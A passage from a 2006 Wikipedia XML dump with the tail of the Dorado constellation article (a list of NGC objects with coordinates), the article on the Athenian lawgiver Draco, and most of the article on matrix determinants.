*'''[[NGC 1755]]''' (RA 04h 55m 13s Dec -68&amp;deg; 12.2&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1755&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is a globular cluster. 
*'''[[NGC 1763]]''' (RA 04h 56m 49s Dec -68&amp;deg; 24.5&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1763&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is a bright nebula associated with three type B stars.
*'''[[NGC 1820]]''' (RA 05h 04m 02s Dec -67&amp;deg; 15.9&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1820&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is an open cluster.
*'''[[NGC 1850]]''' (RA 05h 08m 44s Dec -68&amp;deg; 45.7&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1850&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is a globular cluster.
*'''[[NGC 1854]]''' (RA 05h 09m 19s Dec -68&amp;deg; 50.8&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1854&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is a globular cluster.
*'''[[NGC 1869]]''' (RA 05h 13m 56s Dec -67&amp;deg; 22.8&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1869&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is an open cluster. &lt;!-- Please verify this - BDM--&gt;
*'''[[NGC 1901]]''' (RA 05h 18m 15s Dec -68&amp;deg; 26.2&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1901&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is an open cluster. &lt;!-- Please verify this - BDM--&gt;
*'''[[NGC 1910]]''' (RA 05h 18m 43s Dec -69&amp;deg; 13.9&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1910&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is an open cluster. &lt;!-- Please verify this - BDM--&gt;
*'''[[NGC 1936]]''' (RA 05h 22m 14s Dec -67&amp;deg; 58.7&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1936&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is a bright nebula and is one of four NGC objects in close proximity, the others being NGC 1929, NGC 1934 and NGC 1935. &lt;!-- Please verify this - BDM--&gt;
*'''[[NGC 1978]]''' (RA 05h 28m 36s Dec -66&amp;deg; 14.0&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1978&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is an open cluster.
*'''[[NGC 2002]]''' (RA 05h 30m 17s Dec -66&amp;deg; 53.1&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+2002&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is an open cluster.
*'''[[NGC 2027]]''' (RA 05h 35m 00s Dec -66&amp;deg; 55.0&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+2027&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is an open cluster. &lt;!-- Please verify this - BDM--&gt;
*'''[[NGC 2032]]''' (RA 05h 35m 21s Dec -67&amp;deg; 34.1&amp;prime;) (''Seagull Nebula'') [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+2032&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is a nebula complex that contains four separate NGC designations: NGC 2029, NGC 2032, NGC 2035 and NGC 2040. &lt;!-- Please verify this - BDM--&gt;
*'''[[NGC 2070]]''' (RA 05h 38m 37s Dec -69&amp;deg; 05.7&amp;prime;) is better known as the '''[[Tarantula Nebula]]'''.
&lt;!-- *'''[[NGC 2157]]''' (RA 05h 57m 35s Dec -69&amp;deg; 11.8&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+2157&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is an open cluster. Commented out because the nature of object is unverified. The Skyview image looks like a globular cluster and Google shows conflicting information about this object - BDM --&gt;
*'''[[NGC 2164]]''' (RA 05h 58m 53s Dec -68&amp;deg; 30.9&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+2164&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is a globular cluster.

==See also==
{{ConstellationsByBayer}}
{{ConstellationList}}

== References ==
*The above deep sky objects appear in ''Norton's Star Atlas'', 1973 edition.
*Co-ordinates are obtained from [http://www.fortunecity.com/roswell/borley/49/chartidx.htm Uranometria Chart Index] and [http://skyview.gsfc.nasa.gov/cgi-bin/titlepage.pl Skyview]. 
* Images of the deep sky objects described herein may be viewed at [http://skyview.gsfc.nasa.gov/cgi-bin/titlepage.pl Skyview].

== External links ==
*[http://www.astronomical.org/portal/modules/wfsection/article.php?articleid=33 Peoria Astronomical Society - Dorado]
{{Commons|Dorado}}

[[Category:Dorado constellation| ]]

[[ca:Orada (constel·lació)]]
[[cs:Mečoun (souhvězdí)]]
[[da:Guldfisken]]
[[de:Schwertfisch (Sternbild)]]
[[es:Dorado (constelación)]]
[[fr:Dorade (constellation)]]
[[ko:황새치자리]]
[[it:Dorado]]
[[la:Dorado (sidus)]]
[[lt:Aukso Žuvis]]
[[hu:Aranyhal (csillagkép)]]
[[nl:Goudvis (sterrenbeeld)]]
[[ja:かじき座]]
[[nn:Gullfisken]]
[[pl:Złota Ryba (gwiazdozbiór)]]
[[pt:Dorado]]
[[ru:Золотая Рыба (созвездие)]]
[[sk:Súhvezdie Mečiar]]
[[fi:Kultakala (tähdistö)]]
[[sv:Svärdfisken]]
[[th:กลุ่มดาวปลากระโทงแทง]]</text>
    </revision>
  </page>
  <page>
    <title>Draco</title>
    <id>8467</id>
    <revision>
      <id>40624083</id>
      <timestamp>2006-02-21T22:25:28Z</timestamp>
      <contributor>
        <username>Primetime</username>
        <id>457099</id>
      </contributor>
      <comment>Reverting edits by [[user talk:69.158.54.210|69.158.54.210]] to last version by 206.211.223.52</comment>
      <text xml:space="preserve">{{wiktionarypar|Draconian}}
:''This article is about Draco, the Greek lawgiver from Athens. For other uses of Draco see [[Draco (disambiguation)]].

'''Draco''' ([[Wikipedia:Manual of Style (pronunciation)/IPA vs. other pronunciation symbols|World Book]] ''«DRAY koh»'') was the first law scribe of ancient [[Athens]], [[Greece]]. The [[law]]s, transcribed in [[621 BC]] when he was [[Archons of Athens|archon eponymous]], were particularly harsh: the [[death penalty]] was the [[punishment]] for even minor [[offense]]s.  Any debtor whose status was lower than that of his creditor was forced into slavery.  The punishment was more lenient for those who owed their debt to a member of a lower class.  The stringency of these laws gave rise to expressions such as &quot;draconian punishment&quot;, &quot;draconian laws&quot;, and more generally, the far-reaching &quot;draconian measures&quot;. 

Draco was the first to codify Athenian law; contrary to popular belief, however, he was not the creator of those laws.

Draco's code of law was superseded by that of [[Solon]] in the early [[6th century BC]].

In 621 B.C., a man named Draco was appointed to transcribe the oral laws of the city of Athens. Possessing no official copy of the law was threatening to cause the downfall of the city. Draco’s attempt to improve the situation of the Greek polis horrified its citizens. The most popular punishment for any crime, no matter the severity, was death; and the laws did not treat all classes equally. Because of the cruelty during his time as archon, there are many terms associated with Draco’s name, such as draconian, which means excessively harsh or severe.  
	
In Athens at the time, there was pandemonium. The trouble was coming from the law not being recorded. Finally, when it became enough of a threat, the leaders were forced to do something about it. The noblemen acted as much for their own benefit as for the poor and slaves. The lower classes were weary of being taken advantage of, and were no longer willing to accept what they were told orally by the thesmothetai (lawmakers) and judges. So the enforcers chose an archon, or scribe of the law.
	
Predictably, the man who was appointed to transcribe these laws was a eupatrid, or nobleman. Draco was the first to write the Athenian laws down, but he did not create all of the laws. However, it is made obvious in ancient texts that he did help suggest the punishments. Draco was a man who believed there was no greater punishment than death. The offense could be the robbing of a cabbage, and still the penalty remained the same: death. 	

It seemed like a relief when the death sentence was used only for criminal offenses such as theft. Yet the more civil penalty of enslavement for debt favored the higher class. The only law of Draco’s that was somewhat humane was that concerning homicide. All homicide cases could be justified or categorized, and always required a trial. This was the only concept that wasn’t changed by his successor, [[Solon]], who had a much more compassionate persona.


{{law-bio-stub}}
[[Category:Ancient Athenians]]
[[Category:Legislators]]

[[de:Drakon]]
[[es:Dracón]]
[[fr:Dracon]]
[[he:דרקון (מנהיג אתונה)]]
[[la:Draco]]
[[nl:Draco (wetgever)]]
[[pl:Drakon]]
[[pt:Drácon de Atenas]]
[[fi:Drakon]]
[[zh:德拉古]]</text>
    </revision>
  </page>
  <page>
    <title>Determinant</title>
    <id>8468</id>
    <revision>
      <id>41908259</id>
      <timestamp>2006-03-02T15:13:24Z</timestamp>
      <contributor>
        <username>StradivariusTV</username>
        <id>164429</id>
      </contributor>
      <minor />
      <comment>/* Determinants of 2-by-2 matrices */</comment>
      <text xml:space="preserve">In [[linear algebra]], a '''determinant''' is a [[function (mathematics)|function]] depending on ''n'' that associates a [[scalar]] det(''A'') to every ''n''&amp;times;''n'' [[square matrix]] ''A''. The fundamental geometric meaning of a determinant is as the [[scale factor]] for [[volume]] when ''A'' is regarded as a [[linear transformation]]. Determinants are important both in [[calculus]], where they enter the [[substitution rule]] for several variables, and in [[multilinear algebra]].

For a fixed positive integer ''n'', there is a unique determinant function for the ''n''&amp;times;''n'' matrices over any [[commutative ring]] ''R''. In particular, this function exists when ''R'' is the [[field (mathematics)|field]] of [[real number|real]] or [[complex number]]s.

A determinant of ''A'' is also sometimes denoted by |''A''|, but this notation is ambiguous: it is also used to for certain [[matrix norm]]s, and for the [[square root]] of &lt;math&gt;{AA}^*&lt;/math&gt;.

== Determinants of 2-by-2 matrices ==

The 2&amp;times;2 matrix
&lt;math&gt;A=\begin{bmatrix}a&amp;b\\
c&amp;d\end{bmatrix}&lt;/math&gt;
has determinant
&lt;math&gt;\det(A)=ad-bc. \,&lt;/math&gt;

The interpretation when the matrix has real number entries is that this gives the [[area (geometry)|area]] of the [[parallelogram]] with vertices at (0,0), (''a'',''c''), (''b'',''d''), and (''a'' + ''b'', ''c'' + ''d''), with a sign factor (which is &amp;minus;1 if ''A'' as a [[transformation matrix]] flips the [[unit square]] over).

A formula for larger matrices will be given below.

== Applications ==

Determinants are used to characterize [[invertible matrix|invertible matrices]] (namely as those matrices, and only those matrices, with non-zero determinants), and to explicitly describe the solution to a system of [[linear equation]]s with [[Cramer's rule]].  They can be used to find the [[eigenvalue]]s of the matrix &lt;math&gt;A&lt;/math&gt; through the [[characteristic polynomial]]
:&lt;math&gt;p(x) = \det(xI - A) \,&lt;/math&gt; 

where ''I'' is the [[identity matrix]] of the same format as ''A''.

One often thinks of the determinant as assigning a number to every [[sequence]] of &lt;math&gt;n&lt;/math&gt; vectors in &lt;math&gt;\Bbb{R}^n&lt;/math&gt;, by using the square matrix whose columns are the given vectors.
With this understanding, the sign of the determinant of a [[basis (linear algebra)|basis]] can be used to define the notion of [[orientation (mathematics)|orientation]] in [[Euclidean space]]s. The determinant of a set of vectors is [[negative and non-negative numbers|positive]] if the vectors form a right-handed [[coordinate system]], and negative if left-handed. 

Determinants are used to calculate [[volume]]s in [[vector calculus]]: the [[absolute value]] of the determinant of real vectors is equal to the volume of the [[parallelepiped]] spanned by those vectors. As a consequence, if the [[linear transformation|linear map]] &lt;math&gt;f: \Bbb{R}^n \rightarrow \Bbb{R}^n&lt;/math&gt; is represented by the matrix &lt;math&gt;A&lt;/math&gt;, and &lt;math&gt;S&lt;/math&gt; is any [[Lebesgue measure|measurable]] [[subset]] of &lt;math&gt;\Bbb{R}^n&lt;/math&gt;, then the volume of &lt;math&gt;f(S)&lt;/math&gt; is given by &lt;math&gt;\left| \det(A) \right| \times \operatorname{volume}(S)&lt;/math&gt;. More generally, if the linear map &lt;math&gt;f: \Bbb{R}^n \rightarrow \Bbb{R}^m&lt;/math&gt; is represented by the &lt;math&gt;m&lt;/math&gt;-by-&lt;math&gt;n&lt;/math&gt; matrix &lt;math&gt;A&lt;/math&gt;, and &lt;math&gt;S&lt;/math&gt; is any measurable subset of &lt;math&gt;\Bbb{R}^{n}&lt;/math&gt;, then the &lt;math&gt;n&lt;/math&gt;-[[dimension]]al volume of &lt;math&gt;f(S)&lt;/math&gt; is given by &lt;math&gt;\sqrt{\det(A^\top A)} \times \operatorname{volume}(S)&lt;/math&gt;. By calculating the volume of the [[tetrahedron]] bounded by four points, they can be used to identify [[skew line]]s.

The volume of any [[tetrahedron]], given its vertices '''a''', '''b''', '''c''', and '''d''', is (1/6)&amp;middot;|[[determinant|det]]('''a'''&amp;minus;'''b''', '''b'''&amp;minus;'''c''', '''c'''&amp;minus;'''d''')|, or any other combination of pairs of vertices that form a simply connected [[graph theory|graph]].

== General definition and computation ==

Suppose &lt;math&gt;A = (A_{i,j}) \,&lt;/math&gt; is a square matrix.

If &lt;math&gt;A&lt;/math&gt; is a 1-by-1 matrix, then &lt;math&gt;\det(A) = A_{1,1}. \,&lt;/math&gt;

If &lt;math&gt;A&lt;/math&gt; is a 2-by-2 matrix, then &lt;math&gt;\det(A) = A_{1,1}A_{2,2} - A_{2,1}A_{1,2}. \,&lt;/math&gt;

For a 3-by-3 matrix &lt;math&gt;A&lt;/math&gt;, the formula is more complicated:

:&lt;math&gt;
\begin{matrix}
\det(A) &amp; = &amp; A_{1,1}A_{2,2}A_{3,3} + A_{1,3}A_{2,1}A_{3,2} + A_{1,2}A_{2,3}A_{3,1}\\
&amp; &amp; - A_{1,3}A_{2,2}A_{3,1} - A_{1,1}A_{2,3}A_{3,2} - A_{1,2}A_{2,1}A_{3,3}.
\end{matrix}\,&lt;/math&gt;

For a general &lt;math&gt;n&lt;/math&gt;-by-&lt;math&gt;n&lt;/math&gt; matrix, the determinant was defined by [[Gottfried Leibniz]] with what is now known as the '''Leibniz formula''':

:&lt;math&gt;\det(A) = \sum_{\sigma \in S_n} \sgn(\sigma) \prod_{i=1}^n A_{i, \sigma(i)}.&lt;/math&gt;

The sum is computed over all [[permutation]]s &lt;math&gt;\sigma&lt;/math&gt; of the numbers {1,2,...,''n''} and &lt;math&gt;\sgn(\sigma)&lt;/math&gt; denotes the [[signature (permutation)|signature]] of the permutation &lt;math&gt;\sigma&lt;/math&gt;: +1 if &lt;math&gt;\sigma&lt;/math&gt; is an even permutation and &amp;minus;1 if it is odd (see [[even and odd permutations]]).

This formula contains &lt;math&gt;n!&lt;/math&gt; ([[factorial]]) summands and is therefore impractical to use it to calculate determinants for large &lt;math&gt;n&lt;/math&gt;.

In general, determinants can be computed with the [[Gauss-Jordan elimination|Gauss algorithm]] using the following rules:
* If &lt;math&gt;A&lt;/math&gt; is a [[triangular matrix]], i.e. &lt;math&gt;A_{i,j} = 0 \,&lt;/math&gt; whenever &lt;math&gt;i &gt; j&lt;/math&gt;, then &lt;math&gt;\det(A) =  A_{1,1} A_{2,2} \cdots A_{n,n}. \,&lt;/math&gt; 
* If &lt;math&gt;B&lt;/math&gt; results from &lt;math&gt;A&lt;/math&gt; by exchanging two rows or columns, then &lt;math&gt;\det(B) = -\det(A). \,&lt;/math&gt;
* If &lt;math&gt;B&lt;/math&gt; results from &lt;math&gt;A&lt;/math&gt; by multiplying one row or column with the number &lt;math&gt;c&lt;/math&gt;, then &lt;math&gt;\det(B) = c\,\det(A). \,&lt;/math&gt;
* If &lt;math&gt;B&lt;/math&gt; results from &lt;math&gt;A&lt;/math&gt; by adding a multiple of one row to another row, or a multiple of one column to another column, then &lt;math&gt;\det(B) = \det(A). \,&lt;/math&gt;

Explicitly, starting out with some matrix, use the last three rules to convert it into a triangular matrix, then use the first rule to compute its determinant.

It is also possible to expand a determinant along a row or column using ''[[Laplace expansion|Laplace's formula]]'', which is efficient for relatively small matrices. To do this along row &lt;math&gt;i&lt;/math&gt;, say, we write

:&lt;math&gt;\det(A) = \sum_{j=1}^n A_{i,j}C_{i,j} = \sum_{j=1}^n A_{i,j} (-1)^{i+j} M_{i,j}&lt;/math&gt;

where the &lt;math&gt;C_{i,j}&lt;/math&gt; represent the matrix [[cofactor (mathematics)|cofactor]]s, i.e. &lt;math&gt;C_{i,j}&lt;/math&gt; is &lt;math&gt;(-1)^{i+j}&lt;/math&gt; times the [[minor (matrix)|minor]] &lt;math&gt;M_{i,j}&lt;/math&gt;, which is the determinant of the matrix that results from &lt;math&gt;A&lt;/math&gt; by removing the &lt;math&gt;i&lt;/math&gt;-th row and the &lt;math&gt;j&lt;/math&gt;-th column.

==Quick Reference==

The determinants for square matrices of size 1 to 3 are:

:&lt;math&gt;\det \begin{bmatrix} a \end{bmatrix}  = a&lt;/math&gt;

:&lt;math&gt;\det \begin{bmatrix}a&amp;b\\
c&amp;d\end{bmatrix}  = ad - bc&lt;/math&gt;

:&lt;math&gt;\det \begin{bmatrix}a&amp;b&amp;c\\
d&amp;e&amp;f\\
g&amp;h&amp;i\end{bmatrix}  = aei + bfg + cdh - afh - bdi - ceg&lt;/math&gt;

==Example==

Suppose we want to compute the determinant of

:&lt;math&gt;A = \begin{bmatrix}-2&amp;2&amp;-3\\
-1&amp; 1&amp; 3\\
2 &amp;0 &amp;-1\end{bmatrix}.&lt;/math&gt;

We can go ahead and use the Leibniz formula directly:

:{|
|-
|&lt;math&gt;\det(A)\,&lt;/math&gt;
|&lt;math&gt;=\,&lt;/math&gt;
|&lt;math&gt;(-2\cdot 1 \cdot -1) + (-3\cdot 0 \cdot -1) + (2\cdot 3\cdot 2)&lt;/math&gt;
|-
|
|
|&lt;math&gt;- (-3\cdot 1 \cdot 2) - (-2\cdot 3 \cdot 0) - (2\cdot -1 \cdot -1)&lt;/math&gt;
|-
|
|&lt;math&gt;=\,&lt;/math&gt;
|&lt;math&gt;2 + 0 + 12 - (-6) - 0 - 2 = 18.\,&lt;/math&gt;
|}

Alternatively, we can use Laplace's formula to expand the determinant along a row or column. It is best to choose a row or column with many zeros, so we will expand along the second column:

:{|
|-
|&lt;math&gt;\det(A)\,&lt;/math&gt;
|&lt;math&gt;=\,&lt;/math&gt;
|&lt;math&gt;(-1)^{1+2}\cdot 2 \cdot \det \begin{bmatrix}-1&amp;3\\ 2 &amp;-1\end{bmatrix} + (-1)^{2+2}\cdot 1 \cdot \det \begin{bmatrix}-2&amp;-3\\ 2&amp;-1\end{bmatrix}&lt;/math&gt;
|-
|
|&lt;math&gt;=\,&lt;/math&gt;
|&lt;math&gt;(-2)\cdot((-1)\cdot(-1)-2\cdot3)+1\cdot((-2)\cdot(-1)-2\cdot(-3))&lt;/math&gt;
|-
|
|&lt;math&gt;=\,&lt;/math&gt;
|&lt;math&gt;(-2)(-5)+8 = 18.\,&lt;/math&gt;
|}

A third way (and the method of choice for larger matrices) would involve the Gauss algorithm. When doing computations by hand, one can often shorten things dramatically by smartly adding multiples of columns or rows to other columns or rows; this does not change the value of the determinant, but may create zero entries which simplifies the subsequent calculations. In this example, adding the second column to the first one is especially useful:

:&lt;math&gt;\begin{bmatrix}0&amp;2&amp;-3\\
0 &amp;1 &amp;3\\
2 &amp;0 &amp;-1\end{bmatrix}&lt;/math&gt;

and this determinant can be quickly expanded along the first column:

:{|
|-
|&lt;math&gt;\det(A)\,&lt;/math&gt;
|&lt;math&gt;=\,&lt;/math&gt;
|&lt;math&gt;(-1)^{3+1}\cdot 2\cdot \det \begin{bmatrix}2&amp;-3\\ 1&amp;3\end{bmatrix}&lt;/math&gt;
|-
|
|&lt;math&gt;=\,&lt;/math&gt;
|&lt;math&gt;2\cdot(2\cdot3-1\cdot(-3)) = 2\cdot 9 = 18.\,&lt;/math&gt;
|}

==Properties==

The determinant is a ''multiplicative map'' in the sense that
:&lt;math&gt;\det(AB) = \det(A)\det(B) \,&lt;/math&gt; for all ''n''-by-''n'' matrices &lt;math&gt;A&lt;/math&gt; and &lt;math&gt;B&lt;/math&gt;.
This is generalized by the [[Cauchy-Binet formula]] to products of non-square matrices.

It is easy to see that &lt;math&gt;\det(rI_n) = r^n \,&lt;/math&gt; and thus
:&lt;math&gt;\det(rA) = \det(rI_n \cdot A) = r^n \det(A) \,&lt;/math&gt; for all &lt;math&gt;n&lt;/math&gt;-by-&lt;math&gt;n&lt;/math&gt; matrices &lt;math&gt;A&lt;/math&gt; and all [[scalar]]s &lt;math&gt;r&lt;/math&gt;.

A matrix over a [[commutative ring]] ''R'' is invertible if and only if its determinant is a [[Unit (ring theory)|unit]] in ''R''.  In particular, if ''A'' is a matrix over a [[Field (mathematics)|field]] such as the [[real number|real]] or [[complex number]]s, then ''A'' is invertible if and only if det(''A'') is not zero. In this case we have

:&lt;math&gt;\det(A^{-1}) = \det(A)^{-1}. \,&lt;/math&gt;

Expressed differently: the vectors ''v''&lt;sub&gt;1&lt;/sub&gt;,...,''v''&lt;sub&gt;''n''&lt;/sub&gt; in '''R'''&lt;sup&gt;''n''&lt;/sup&gt; form a [[basis (linear algebra)|basis]] if and only if det(''v''&lt;sub&gt;1&lt;/sub&gt;,...,''v''&lt;sub&gt;''n''&lt;/sub&gt;) is non-zero.

A matrix and its [[transpose]] have the same determinant:
:&lt;math&gt;\det(A^\top) = \det(A). \,&lt;/math&gt;

The determinants of
a complex matrix and of its [[Complex conjugate|conjugate]] [[transpose]]
are conjugate:
:&lt;math&gt;\det(A^*) = \det(A)^*. \,&lt;/math&gt;
(Note the conjugate transpose is identical to the transpose for a real matrix)

If &lt;math&gt;A&lt;/math&gt; and &lt;math&gt;B&lt;/math&gt; are [[similar]], i.e., if there exists an invertible matrix &lt;math&gt;X&lt;/math&gt; such that &lt;math&gt;A&lt;/math&gt; = &lt;math&gt;X^{-1} B X&lt;/math&gt;, then by the multiplicative property,

:&lt;math&gt;\det(A) = \det(B). \,&lt;/math&gt;

This means that the determinant is a [[similarity invariant]]. Because of this, the determinant of some linear transformation ''T'' : ''V'' &amp;rarr; ''V'' for some finite dimensional [[vector space]] ''V'' is independent of the basis for ''V''. The relationship is one-way, however: there exist matrices which have the same determinant but are not similar. 

If &lt;math&gt;A&lt;/math&gt; is a square &lt;math&gt;n&lt;/math&gt;-by-&lt;math&gt;n&lt;/math&gt; matrix with [[real number|real]] or [[complex number|complex]] entries and if &amp;lambda;&lt;sub&gt;1&lt;/sub&gt;,...,&amp;lambda;&lt;sub&gt;''n''&lt;/sub&gt; are the (complex) [[eigenvectors|eigenvalues]] of &lt;math&gt;A&lt;/math&gt; listed according to their algebraic multiplicities, then

:&lt;math&gt;\det(A) = \lambda_{1}\lambda_{2} \cdots \lambda_{n}.\,&lt;/math&gt;

This follows from the fact that &lt;math&gt;A&lt;/math&gt; is always similar to its [[Jordan normal form]], an upper triangular matrix with the eigenvalues on the main diagonal.

From this connection between the determinant and the eigenvalues, one can derive a connection between the [[Trace (linear algebra)|trace function]], the [[exponential function]], and the determinant: 

:&lt;math&gt;\det(\exp(A)) = \exp(\operatorname{tr}(A)).&lt;/math&gt;

Performing the substitution &lt;math&gt; A \mapsto \ln A &lt;/math&gt; in the above equation yields

:&lt;math&gt; \det(A) = e^{\mbox{tr}(\ln A)}. \ &lt;/math&gt;

=== Derivative ===

The determinant of real square matrices is a [[polynomial|polynomial function]] from &lt;math&gt;\Bbb{R}^{n \times n}&lt;/math&gt; to &lt;math&gt;\Bbb{R}&lt;/math&gt;, and as such is everywhere [[derivative|differentiable]]. Its derivative can be expressed using ''[[Jacobi's formula]]'':

: &lt;math&gt;d \,\det(A) = \operatorname{tr}(\operatorname{adj}(A) \,dA)&lt;/math&gt;

where adj(''A'') denotes the [[adjugate]] of ''A''. In particular, if ''A'' is invertible, we have

: &lt;math&gt;d \,\det(A) = \det(A) \,\operatorname{tr}(A^{-1} \,dA)&lt;/math&gt;

or, more colloquially, 

: &lt;math&gt;\det(A + X) - \det(A) \approx \det(A) \,\operatorname{tr}(A^{-1} X)&lt;/math&gt;

if the entries in the matrix &lt;math&gt;X&lt;/math&gt; are sufficiently small. The special case where &lt;math&gt;A&lt;/math&gt; is equal to the identity matrix &lt;math&gt;I&lt;/math&gt; yields

: &lt;math&gt;\det(I + X) \approx 1 + \operatorname{tr}(X).&lt;/math&gt;

== Generalizations and related functions==

As was pointed out above, it is possible to unambiguously define the determinant of any [[linear transformation|linear map]] ''f'' : ''V'' &amp;rarr; ''V'', if ''V'' is a finite-dimensional vector space.

It makes sense to define the determinant for matrices whose entries come from any commutative [[ring (algebra)|ring]]. The computation rules, the Leibniz formula and the compatibility with [[matrix multiplication]] remain valid, except that now a matrix &lt;math&gt;A&lt;/math&gt; is invertible if and only if &lt;math&gt;\det(A)&lt;/math&gt; is an invertible element of the ground ring.

Abstractly, one may define the determinant as a certain anti-symmetric [[multilinear map]] as follows: if &lt;math&gt;R&lt;/math&gt; is a [[commutative ring]] and &lt;math&gt;M = R^n&lt;/math&gt; denotes the [[free module|free ''R''-module]] with &lt;math&gt;n&lt;/math&gt; generators, then

:&lt;math&gt;\det: M^n \rightarrow R&lt;/math&gt;

is the unique map with the following properties:
* det is &lt;math&gt;R&lt;/math&gt;-linear in each of the &lt;math&gt;n&lt;/math&gt; arguments.
* det is anti-symmetric, meaning that if two of the &lt;math&gt;n&lt;/math&gt; arguments are equal, then the determinant is zero.
* &lt;math&gt;\det(e_1,\ldots,e_n) = 1&lt;/math&gt;, where &lt;math&gt;e_i&lt;/math&gt; is that element of &lt;math&gt;M&lt;/math&gt; which has a 1 in the &lt;math&gt;i&lt;/math&gt;-th coordinate and zeros elsewhere.

Linear algebraists prefer to use the multilinear map approach to define determinant, whereas combinatorialists may prefer the Leibniz formula. (Of course, even when using the above abstract approach, one has to use the Leibniz formula to show that such a multilinear map actually exists.)

